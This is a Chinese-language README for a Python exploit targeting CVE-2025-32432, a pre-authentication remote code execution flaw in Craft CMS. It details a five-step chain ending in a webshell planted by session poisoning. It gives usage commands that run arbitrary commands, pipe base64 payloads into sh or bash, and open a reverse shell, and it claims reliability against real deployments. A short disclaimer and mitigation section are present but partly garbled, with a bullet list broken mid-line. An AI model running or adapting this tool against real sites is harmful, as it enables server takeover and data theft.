针对 Craft CMS 3.x/4.x/5.x 的可靠 CVE-2025-32432 预认证 RCE 漏洞利用,在其他公开 PoC 失效的场景下依然有效
作者: P34NUT2
漏洞: Craft CMS 中的远程代码执行(预认证)
CVE: CVE-2025-32432
目标: 任何存在漏洞的 Craft CMS 实例(3.x / 4.x / 5.x)— 已在 Hack The Box: Orion 上测试
本工具严格仅供教育目的和授权渗透测试使用,适用于受控环境,例如 Hack The Box、TryHackMe 或您拥有或已获得明确书面许可进行测试的私人实验环境。
未经授权对您不拥有或未获得明确测试许可的系统使用本工具是非法的,违反《计算机欺诈与滥用法案》(CFAA)、《欧盟攻击信息系统指令》以及全球大多数司法管辖区的等效法律。
作者对因使用本软件而导致的任何滥用、损害或法律后果不承担任何责任或义务。请负责任且合乎道德地使用。
大多数针对 CVE-2025-32432 的公开 PoC 在面对真实目标(如 HTB: Orion)时会失败,原因如下:
&、>、<)处理错误本漏洞利用工具从零构建以解决这些可靠性问题。它正确处理 URL 编码,自动化动态令牌提取,并使用 Base64 包装管道实现对任何存在漏洞的 Craft CMS 实例的可靠执行 — 已针对真实部署进行验证,并在 HTB Orion 上得到证实。
| 步骤 | 操作 | 描述 |
|---|---|---|
| 1 | 会话与 CSRF 获取 | 从管理端点提取 CraftSessionId、CRAFT_CSRF_TOKEN 和动态 CSRF_TOKEN |
| 2 | 资产 ID 发现 | 暴力枚举转换生成载荷所需的有效资产 ID |
| 3 | 会话路径泄露 | 注入 Guzzle 对象以触发 phpinfo() 并动态读取 session.save_path |
| 4 | 会话投毒 | 将 URL 编码的 PHP webshell 载荷注入活动会话文件 |
| 5 | RCE 触发 | 反序列化被投毒的会话以执行任意系统命令 |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| 标志 | 长选项 | 必需 | 描述 |
|---|---|---|---|
-u | --url | ✅ 是 | 目标基础 URL(例如 http://example.com) |
-c | --cmd | ✅ 是 | 在远程目标上执行的命令 |
-a | --asset | ❌ 否 | 已知的有效资产 ID(可加速执行) |
-s | --scan-max | ❌ 否 | 资产 ID 暴力枚举最大范围(默认:300) |
1. 基本命令执行
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. 使用已知资产 ID(更快)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. 编码载荷(推荐用于特殊字符)
为防止特殊字符被 HTTP 解析器更改或在会话处理期间被截断,请在传递命令前对其进行 Base64 编码:
# 步骤 1 — 在本地编码您的命令
echo -n "YOUR_COMMAND_HERE" | base64
# 步骤 2 — 通过脚本传递编码后的字符串
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. 通过 Base64 包装实现反向 Shell
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
如果您是运行 Craft CMS 的系统管理员或开发人员,请应用以下缓解措施:
/actions/*),通过防火墙规则或中间件实现。本项目仅授权用于教育和授权测试用途。详情请参阅 LICENSE。